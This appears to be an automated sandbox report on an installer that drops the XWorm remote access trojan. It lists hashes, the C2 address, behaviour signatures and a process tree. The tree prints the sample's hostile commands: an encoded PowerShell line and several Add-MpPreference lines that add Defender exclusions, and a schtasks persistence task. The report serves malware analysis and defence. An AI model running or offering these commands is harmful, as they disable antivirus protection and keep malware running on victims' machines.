Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231215-en
  • resource tags

    arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04-02-2024 00:59

General

  • Target

    Internal_Installer.exe

  • Size

    140.7MB

  • MD5

    c2e31745e3839161e7dbd874062f2946

  • SHA1

    bd9d04177a5f5a906d7b73ecf271011178064708

  • SHA256

    30b429740ae782ad1ce0b0d9e569ab42ce1c9a43e358c490c6e539ca7bdbb40d

  • SHA512

    8e0909fb6c0cae985e35475c86d0d0209bbfce8e41350e40d305128acd5aef52fb5ab0c756bf5bbf370597dadfcfd8754a7210ec907bfd22cffa8dfe7d1050c9

  • SSDEEP

    1572864:V4GRQtQzKNAwsDi3fRusajRHgsP6pVm1Etb5/xISipohDtrbw6koLAYE3SWAPKos:+GaCK2wlZajCSvp0+AioCKs

Malware Config

Extracted

Family

xworm

C2

3.125.102.39:18996

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Signatures

  • Detect Xworm Payload 3 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Internal_Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Internal_Installer.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAdwBwACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAcABoACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAYgBkACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAbgBnACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3120
    • C:\Users\Admin\AppData\Local\Temp\XClient.exe
      "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1116
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        3⤵
        • Creates scheduled task(s)
        PID:3932
    • C:\Users\Admin\AppData\Local\Temp\InternalWinFormsClean.exe
      "C:\Users\Admin\AppData\Local\Temp\InternalWinFormsClean.exe"
      2⤵
      • Executes dropped EXE
      PID:716
  • C:\Users\Admin\AppData\Roaming\XClient.exe
    C:\Users\Admin\AppData\Roaming\XClient.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3456
  • C:\Users\Admin\AppData\Roaming\XClient.exe
    C:\Users\Admin\AppData\Roaming\XClient.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3464
  • C:\Users\Admin\AppData\Roaming\XClient.exe
    C:\Users\Admin\AppData\Roaming\XClient.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2272

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log

    Filesize

    654B

    MD5

    2cbbb74b7da1f720b48ed31085cbd5b8

    SHA1

    79caa9a3ea8abe1b9c4326c3633da64a5f724964

    SHA256

    e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

    SHA512

    ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    627073ee3ca9676911bee35548eff2b8

    SHA1

    4c4b68c65e2cab9864b51167d710aa29ebdcff2e

    SHA256

    85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

    SHA512

    3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    1a9fa92a4f2e2ec9e244d43a6a4f8fb9

    SHA1

    9910190edfaccece1dfcc1d92e357772f5dae8f7

    SHA256

    0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

    SHA512

    5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    e8a7ab7bae6a69946da69507ee7ae7b0

    SHA1

    b367c72fa4948493819e1c32c32239aa6e78c252

    SHA256

    cd5480d72c1a359e83f7d6b6d7d21e1be2463f2c6718385cc6c393c88323b272

    SHA512

    89b22519bc3986be52801397e6eff4550621b4804abd2d04f431c9b2591ba8e3eab2625490a56ebb947ba3b122b6186badb6c461e917b69d7e13644c86a6f683

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    781da0576417bf414dc558e5a315e2be

    SHA1

    215451c1e370be595f1c389f587efeaa93108b4c

    SHA256

    41a5aef8b0bbeea2766f40a7bba2c78322379f167c610f7055ccb69e7db030fe

    SHA512

    24e283aa30a2903ebe154dad49b26067a45e46fec57549ad080d3b9ec3f272044efaaed3822d067837f5521262192f466c47195ffe7f75f8c7c5dcf3159ea737

  • C:\Users\Admin\AppData\Local\Temp\InternalWinFormsClean.exe

    Filesize

    229KB

    MD5

    3d8d433ca3f1ff4a271a32a441b3953f

    SHA1

    117b5622faf7e35cfdc6120715112b4d0253eb0e

    SHA256

    2018491817e46bceec386d2bfc4b8b880aa3f5c418b6161fc95272d13fde015f

    SHA512

    a0f463b293654f7344f141fef8f713595c16331c0701bbc4e328430768fc84822f0d48e9883ae6a9a78e337dd8ed37dcadf99c777e344cbc19d3c7ddc55d7aee

  • C:\Users\Admin\AppData\Local\Temp\InternalWinFormsClean.exe

    Filesize

    155KB

    MD5

    a1d1a9f21e1e39eb18e808a26b4623cd

    SHA1

    5cfa40bc493d3e59e0bb3f96114bb13d43758997

    SHA256

    4940629767960f918a966876b5d5d48df4c006decece91d2777e0aad45761cb6

    SHA512

    39dd2d928264049fdddd3f71ae1e11c8006ccdbc251916a1ed5c161185dc4d828e7539aec8b1e40d53b970a0853bd1bd216b7c3d7eb74d3a3b4d03529dbd2014

  • C:\Users\Admin\AppData\Local\Temp\InternalWinFormsClean.exe

    Filesize

    187KB

    MD5

    43445299f3fdb13b56fa9d85928d4465

    SHA1

    1106ec24a7e1f5af5ed342736a21de0bb984cdb3

    SHA256

    5a0f77b1efd12baf3e6fcdc2e4d67373b065a1378cb9a0c2363eed49ab7a43d4

    SHA512

    2db0662d5c7c67956e237112fc9bdf909677e49109a4cbfc6254fdcce9f0c3421b573df88abe2c7a614f89dbcce93386332ec8b30d6b25576304f98da9ad4893

  • C:\Users\Admin\AppData\Local\Temp\XClient.exe

    Filesize

    83KB

    MD5

    261867654adadcc7bd1c32300306e7d5

    SHA1

    4b338d8e329fa1c12c2d7170f416baa5ec6ea48c

    SHA256

    fa84acb32cfaec588702da9d68b4013dba21befed9e363f7429b88f7e6261dd8

    SHA512

    e79e8e29aad782da28d3b9b54eee0471bb13512fb76151fdfd65b83dd002f6d724582b9ba4e5527002e4ae51dc4b5a70fe5dd8a89eecc3c635eb26e9cfab42ba

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u5iswub1.go0.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/716-134-0x00000149B68B0000-0x00000149B6A68000-memory.dmp

    Filesize

    1.7MB

  • memory/716-78-0x000001498F1F0000-0x000001498F210000-memory.dmp

    Filesize

    128KB

  • memory/716-109-0x0000014990D40000-0x0000014990D49000-memory.dmp

    Filesize

    36KB

  • memory/716-106-0x00000149B1700000-0x00000149B17B5000-memory.dmp

    Filesize

    724KB

  • memory/716-102-0x0000014990CA0000-0x0000014990CAA000-memory.dmp

    Filesize

    40KB

  • memory/716-84-0x0000014990B50000-0x0000014990B63000-memory.dmp

    Filesize

    76KB

  • memory/716-96-0x00000149B1510000-0x00000149B160E000-memory.dmp

    Filesize

    1016KB

  • memory/716-93-0x00000149B1210000-0x00000149B1250000-memory.dmp

    Filesize

    256KB

  • memory/716-90-0x0000014990CD0000-0x0000014990CF1000-memory.dmp

    Filesize

    132KB

  • memory/716-81-0x000001498F260000-0x000001498F278000-memory.dmp

    Filesize

    96KB

  • memory/716-99-0x000001498F280000-0x000001498F287000-memory.dmp

    Filesize

    28KB

  • memory/716-130-0x00000149B66D0000-0x00000149B66E9000-memory.dmp

    Filesize

    100KB

  • memory/716-115-0x00000149B1490000-0x00000149B14BA000-memory.dmp

    Filesize

    168KB

  • memory/716-127-0x00000149B64A0000-0x00000149B64B6000-memory.dmp

    Filesize

    88KB

  • memory/716-242-0x00007FF67F0D0000-0x00007FF67F9FC000-memory.dmp

    Filesize

    9.2MB

  • memory/716-118-0x00000149B14D0000-0x00000149B14ED000-memory.dmp

    Filesize

    116KB

  • memory/716-124-0x00000149B6540000-0x00000149B65C2000-memory.dmp

    Filesize

    520KB

  • memory/716-59-0x0000000180000000-0x0000000180A25000-memory.dmp

    Filesize

    10.1MB

  • memory/716-64-0x00007FF67F0D0000-0x00007FF67F9FC000-memory.dmp

    Filesize

    9.2MB

  • memory/716-63-0x00000149B20C0000-0x00000149B2D71000-memory.dmp

    Filesize

    12.7MB

  • memory/716-68-0x000001498F210000-0x000001498F222000-memory.dmp

    Filesize

    72KB

  • memory/716-71-0x00000149B12E0000-0x00000149B13A1000-memory.dmp

    Filesize

    772KB

  • memory/716-75-0x000001498F230000-0x000001498F23D000-memory.dmp

    Filesize

    52KB

  • memory/716-121-0x00000149B14F0000-0x00000149B1506000-memory.dmp

    Filesize

    88KB

  • memory/1116-258-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/1116-256-0x0000013CEAAC0000-0x0000013CEAAD0000-memory.dmp

    Filesize

    64KB

  • memory/1116-254-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-151-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/1988-156-0x0000020DCD160000-0x0000020DCD170000-memory.dmp

    Filesize

    64KB

  • memory/1988-164-0x0000020DE5830000-0x0000020DE5852000-memory.dmp

    Filesize

    136KB

  • memory/1988-171-0x0000020DCD160000-0x0000020DCD170000-memory.dmp

    Filesize

    64KB

  • memory/1988-154-0x0000020DCD160000-0x0000020DCD170000-memory.dmp

    Filesize

    64KB

  • memory/1988-196-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/2272-274-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/2272-275-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/3120-111-0x0000000007870000-0x000000000787E000-memory.dmp

    Filesize

    56KB

  • memory/3120-30-0x00000000062C0000-0x00000000062DE000-memory.dmp

    Filesize

    120KB

  • memory/3120-16-0x00000000055C0000-0x0000000005BEA000-memory.dmp

    Filesize

    6.2MB

  • memory/3120-113-0x0000000007880000-0x0000000007895000-memory.dmp

    Filesize

    84KB

  • memory/3120-65-0x00000000078B0000-0x0000000007946000-memory.dmp

    Filesize

    600KB

  • memory/3120-73-0x0000000007830000-0x0000000007841000-memory.dmp

    Filesize

    68KB

  • memory/3120-60-0x00000000076B0000-0x00000000076BA000-memory.dmp

    Filesize

    40KB

  • memory/3120-55-0x0000000007620000-0x000000000763A000-memory.dmp

    Filesize

    104KB

  • memory/3120-131-0x0000000007960000-0x0000000007968000-memory.dmp

    Filesize

    32KB

  • memory/3120-54-0x0000000007C60000-0x00000000082DA000-memory.dmp

    Filesize

    6.5MB

  • memory/3120-51-0x00000000068C0000-0x00000000068DE000-memory.dmp

    Filesize

    120KB

  • memory/3120-53-0x00000000074F0000-0x0000000007594000-memory.dmp

    Filesize

    656KB

  • memory/3120-52-0x0000000002F30000-0x0000000002F40000-memory.dmp

    Filesize

    64KB

  • memory/3120-42-0x000000006FF70000-0x000000006FFBC000-memory.dmp

    Filesize

    304KB

  • memory/3120-41-0x0000000006880000-0x00000000068B4000-memory.dmp

    Filesize

    208KB

  • memory/3120-40-0x000000007FB80000-0x000000007FB90000-memory.dmp

    Filesize

    64KB

  • memory/3120-31-0x0000000006320000-0x000000000636C000-memory.dmp

    Filesize

    304KB

  • memory/3120-14-0x0000000002F30000-0x0000000002F40000-memory.dmp

    Filesize

    64KB

  • memory/3120-29-0x0000000005E40000-0x0000000006197000-memory.dmp

    Filesize

    3.3MB

  • memory/3120-19-0x0000000005D60000-0x0000000005DC6000-memory.dmp

    Filesize

    408KB

  • memory/3120-15-0x0000000002F30000-0x0000000002F40000-memory.dmp

    Filesize

    64KB

  • memory/3120-114-0x0000000007970000-0x000000000798A000-memory.dmp

    Filesize

    104KB

  • memory/3120-17-0x00000000735C0000-0x0000000073D71000-memory.dmp

    Filesize

    7.7MB

  • memory/3120-191-0x00000000735C0000-0x0000000073D71000-memory.dmp

    Filesize

    7.7MB

  • memory/3120-18-0x0000000005460000-0x0000000005482000-memory.dmp

    Filesize

    136KB

  • memory/3120-28-0x0000000005DD0000-0x0000000005E36000-memory.dmp

    Filesize

    408KB

  • memory/3120-12-0x0000000002E20000-0x0000000002E56000-memory.dmp

    Filesize

    216KB

  • memory/3456-267-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/3456-265-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/3464-271-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/3464-272-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/4264-219-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/4264-255-0x00000000028E0000-0x00000000028F0000-memory.dmp

    Filesize

    64KB

  • memory/4264-13-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/4264-11-0x00000000008D0000-0x00000000008EC000-memory.dmp

    Filesize

    112KB

  • memory/4264-104-0x00000000028E0000-0x00000000028F0000-memory.dmp

    Filesize

    64KB

  • memory/4664-216-0x0000023886C40000-0x0000023886C50000-memory.dmp

    Filesize

    64KB

  • memory/4664-229-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/4664-214-0x0000023886C40000-0x0000023886C50000-memory.dmp

    Filesize

    64KB

  • memory/4664-212-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/5012-244-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB

  • memory/5012-241-0x00000222DA010000-0x00000222DA020000-memory.dmp

    Filesize

    64KB

  • memory/5012-240-0x00000222DA010000-0x00000222DA020000-memory.dmp

    Filesize

    64KB

  • memory/5012-239-0x00007FFB74F60000-0x00007FFB75A22000-memory.dmp

    Filesize

    10.8MB